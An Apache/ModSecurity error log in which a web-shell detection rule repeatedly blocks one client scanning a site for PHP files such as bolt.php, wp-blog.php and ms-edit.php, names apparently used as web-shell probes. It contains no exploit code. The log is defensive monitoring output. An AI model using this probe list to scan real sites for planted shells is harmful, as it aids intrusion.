[Fri Apr 17 00:06:18.156674 2026] [:error] [pid 43387:tid 43459] [client 158.158.73.200:20257] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeEI-iBNsONqHxWTakUZbwAAAIg"]
[Fri Apr 17 00:06:20.074822 2026] [:error] [pid 43482:tid 43484] [client 158.158.73.200:64153] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeEI_D9SZnuKxlHrct1k_gAAAMA"]
[Fri Apr 17 00:06:21.193851 2026] [:error] [pid 43482:tid 43490] [client 158.158.73.200:24365] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeEI_T9SZnuKxlHrct1lAgAAAMY"]
[Fri Apr 17 00:06:21.949295 2026] [:error] [pid 43482:tid 43507] [client 158.158.73.200:64160] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeEI_T9SZnuKxlHrct1lDAAAANc"]
[Fri Apr 17 00:06:23.633479 2026] [:error] [pid 43386:tid 43432] [client 158.158.73.200:59640] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeEI_-91GAVgUfhPVDGiOwAAAEw"]
[Fri Apr 17 00:06:25.276164 2026] [:error] [pid 43386:tid 43437] [client 158.158.73.200:21966] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeEJAe91GAVgUfhPVDGiRAAAAFE"]
[Fri Apr 17 00:06:26.164594 2026] [:error] [pid 43387:tid 43470] [client 158.158.73.200:24372] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeEJAiBNsONqHxWTakUZhAAAAJE"]
[Fri Apr 17 00:06:28.154390 2026] [:error] [pid 43387:tid 43460] [client 158.158.73.200:64172] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeEJBCBNsONqHxWTakUZmQAAAIk"]
[Fri Apr 17 00:06:29.349516 2026] [:error] [pid 43387:tid 43449] [client 158.158.73.200:59590] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeEJBSBNsONqHxWTakUZogAAAIE"]
[Fri Apr 17 00:06:30.323571 2026] [:error] [pid 43386:tid 43442] [client 158.158.73.200:24329] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeEJBu91GAVgUfhPVDGiVgAAAFU"]
[Fri Apr 17 00:06:31.575682 2026] [:error] [pid 43386:tid 43436] [client 158.158.73.200:59997] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeEJB-91GAVgUfhPVDGiVwAAAFA"]
[Fri Apr 17 00:06:32.451002 2026] [:error] [pid 43482:tid 43493] [client 158.158.73.200:59968] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeEJCD9SZnuKxlHrct1lIQAAAMk"]
[Fri Apr 17 00:06:33.140181 2026] [:error] [pid 43387:tid 43471] [client 158.158.73.200:24363] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeEJCSBNsONqHxWTakUZsgAAAJI"]
[Fri Apr 17 00:06:35.104768 2026] [:error] [pid 43385:tid 43396] [client 158.158.73.200:20284] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeEJC8nIxkJaUI8KNs7n5gAAAAc"]
[Fri Apr 17 00:06:36.494399 2026] [:error] [pid 43482:tid 43503] [client 158.158.73.200:24400] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeEJDD9SZnuKxlHrct1lKAAAANM"]
[Fri Apr 17 00:06:37.157328 2026] [:error] [pid 43387:tid 43456] [client 158.158.73.200:20164] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeEJDSBNsONqHxWTakUZvQAAAIU"]
[Fri Apr 17 00:06:38.093929 2026] [:error] [pid 43387:tid 43459] [client 158.158.73.200:64004] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeEJDiBNsONqHxWTakUZvwAAAIg"]
[Fri Apr 17 00:06:38.935691 2026] [:error] [pid 43387:tid 43465] [client 158.158.73.200:59587] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeEJDiBNsONqHxWTakUZwQAAAIw"]
[Fri Apr 17 00:06:41.029866 2026] [:error] [pid 43385:tid 43398] [client 158.158.73.200:24421] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeEJEcnIxkJaUI8KNs7n7AAAAAk"]
[Fri Apr 17 00:06:41.593707 2026] [:error] [pid 43387:tid 43477] [client 158.158.73.200:20229] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeEJESBNsONqHxWTakUZygAAAJg"]
[Fri Apr 17 00:06:42.548500 2026] [:error] [pid 43482:tid 43489] [client 158.158.73.200:64130] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeEJEj9SZnuKxlHrct1lKwAAAMU"]
[Fri Apr 17 00:06:43.143372 2026] [:error] [pid 43387:tid 43473] [client 158.158.73.200:64024] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeEJEyBNsONqHxWTakUZ0AAAAJQ"]
[Fri Apr 17 00:06:43.945980 2026] [:error] [pid 43387:tid 43468] [client 158.158.73.200:64134] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeEJEyBNsONqHxWTakUZ1AAAAI8"]
[Fri Apr 17 00:06:44.577408 2026] [:error] [pid 43387:tid 43459] [client 158.158.73.200:51817] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeEJFCBNsONqHxWTakUZ3AAAAIg"]
[Fri Apr 17 00:06:45.615706 2026] [:error] [pid 43482:tid 43503] [client 158.158.73.200:24442] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeEJFT9SZnuKxlHrct1lMgAAANM"]
[Fri Apr 17 00:06:46.154155 2026] [:error] [pid 43386:tid 43433] [client 158.158.73.200:47153] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeEJFu91GAVgUfhPVDGiZQAAAE0"]
[Fri Apr 17 00:06:46.859169 2026] [:error] [pid 43482:tid 43507] [client 158.158.73.200:59584] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeEJFj9SZnuKxlHrct1lNwAAANc"]
[Fri Apr 17 00:06:48.306454 2026] [proxy_fcgi:error] [pid 43387:tid 43467] [client 158.158.73.200:24444] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:06:48.579175 2026] [proxy_fcgi:error] [pid 43387:tid 43472] [client 158.158.73.200:24444] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:06:48.821475 2026] [proxy_fcgi:error] [pid 43387:tid 43457] [client 158.158.73.200:24444] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:06:49.064026 2026] [proxy_fcgi:error] [pid 43387:tid 43454] [client 158.158.73.200:24444] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:06:49.307105 2026] [proxy_fcgi:error] [pid 43387:tid 43477] [client 158.158.73.200:24444] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:06:49.592534 2026] [proxy_fcgi:error] [pid 43387:tid 43449] [client 158.158.73.200:24444] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:06:50.078830 2026] [proxy_fcgi:error] [pid 43387:tid 43456] [client 158.158.73.200:24444] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:06:50.329765 2026] [proxy_fcgi:error] [pid 43387:tid 43474] [client 158.158.73.200:24444] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:06:50.572046 2026] [proxy_fcgi:error] [pid 43387:tid 43454] [client 158.158.73.200:24444] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:06:50.828193 2026] [:error] [pid 43387:tid 43471] [client 158.158.73.200:24444] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aeEJGiBNsONqHxWTakUaDQAAAJI"]
[Fri Apr 17 00:06:51.377800 2026] [:error] [pid 43386:tid 43438] [client 158.158.73.200:21962] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aeEJG-91GAVgUfhPVDGicgAAAFI"]
[Fri Apr 17 00:06:52.171737 2026] [:error] [pid 43386:tid 43441] [client 158.158.73.200:51806] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aeEJHO91GAVgUfhPVDGidwAAAFQ"]
[Fri Apr 17 00:06:53.109118 2026] [:error] [pid 43482:tid 43487] [client 158.158.73.200:24323] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aeEJHT9SZnuKxlHrct1lUQAAAMM"]
[Fri Apr 17 00:06:54.230388 2026] [:error] [pid 43482:tid 43490] [client 158.158.73.200:47167] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeEJHj9SZnuKxlHrct1lYgAAAMY"]
[Fri Apr 17 00:06:54.845644 2026] [:error] [pid 43387:tid 43472] [client 158.158.73.200:64162] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeEJHiBNsONqHxWTakUaFAAAAJM"]
[Fri Apr 17 00:06:56.139464 2026] [:error] [pid 43385:tid 43411] [client 158.158.73.200:17402] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeEJIMnIxkJaUI8KNs7n_QAAABU"]
[Fri Apr 17 00:06:56.853972 2026] [:error] [pid 43385:tid 43399] [client 158.158.73.200:64190] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeEJIMnIxkJaUI8KNs7oAQAAAAo"]
[Fri Apr 17 00:06:57.448788 2026] [:error] [pid 43385:tid 43405] [client 158.158.73.200:64027] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeEJIcnIxkJaUI8KNs7oBAAAABA"]
[Fri Apr 17 00:06:58.123157 2026] [:error] [pid 43385:tid 43390] [client 158.158.73.200:21905] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeEJIsnIxkJaUI8KNs7oCAAAAAE"]
[Fri Apr 17 00:06:58.625936 2026] [:error] [pid 43387:tid 43466] [client 158.158.73.200:51788] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeEJIiBNsONqHxWTakUaLgAAAI0"]
[Fri Apr 17 00:06:59.184463 2026] [:error] [pid 43482:tid 43508] [client 158.158.73.200:47143] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeEJIz9SZnuKxlHrct1leQAAANg"]
[Fri Apr 17 00:06:59.922774 2026] [:error] [pid 43482:tid 43503] [client 158.158.73.200:20254] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeEJIz9SZnuKxlHrct1lfwAAANM"]
[Fri Apr 17 00:07:00.772793 2026] [:error] [pid 43482:tid 43498] [client 158.158.73.200:24369] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeEJJD9SZnuKxlHrct1liAAAAM4"]
[Fri Apr 17 00:07:01.318313 2026] [:error] [pid 43386:tid 43431] [client 158.158.73.200:20225] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeEJJe91GAVgUfhPVDGijQAAAEs"]
[Fri Apr 17 00:07:01.860490 2026] [:error] [pid 43385:tid 43402] [client 158.158.73.200:24432] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeEJJcnIxkJaUI8KNs7oIQAAAA0"]
[Fri Apr 17 00:07:03.046752 2026] [:error] [pid 43386:tid 43439] [client 158.158.73.200:21914] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeEJJ-91GAVgUfhPVDGikgAAAFM"]
[Fri Apr 17 00:07:04.255579 2026] [:error] [pid 43482:tid 43490] [client 158.158.73.200:51823] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeEJKD9SZnuKxlHrct1lmgAAAMY"]
[Fri Apr 17 00:07:04.880186 2026] [:error] [pid 43387:tid 43457] [client 158.158.73.200:24385] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeEJKCBNsONqHxWTakUaUAAAAIY"]
[Fri Apr 17 00:07:05.458901 2026] [:error] [pid 43482:tid 43496] [client 158.158.73.200:60020] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeEJKT9SZnuKxlHrct1lpgAAAMw"]
[Fri Apr 17 00:07:06.189597 2026] [:error] [pid 43387:tid 43473] [client 158.158.73.200:51799] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeEJKiBNsONqHxWTakUaVAAAAJQ"]
[Fri Apr 17 00:07:07.012784 2026] [:error] [pid 43387:tid 43469] [client 158.158.73.200:64143] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeEJKyBNsONqHxWTakUaVgAAAJA"]
[Fri Apr 17 00:07:07.900800 2026] [:error] [pid 43482:tid 43492] [client 158.158.73.200:64010] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeEJKz9SZnuKxlHrct1ltAAAAMg"]
[Fri Apr 17 00:07:08.737923 2026] [:error] [pid 43482:tid 43497] [client 158.158.73.200:59611] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeEJLD9SZnuKxlHrct1lugAAAM0"]
[Fri Apr 17 00:07:09.424184 2026] [:error] [pid 43482:tid 43490] [client 158.158.73.200:20171] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeEJLT9SZnuKxlHrct1lwAAAAMY"]
[Fri Apr 17 00:07:10.420669 2026] [:error] [pid 43482:tid 43492] [client 158.158.73.200:47151] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeEJLj9SZnuKxlHrct1lxwAAAMg"]
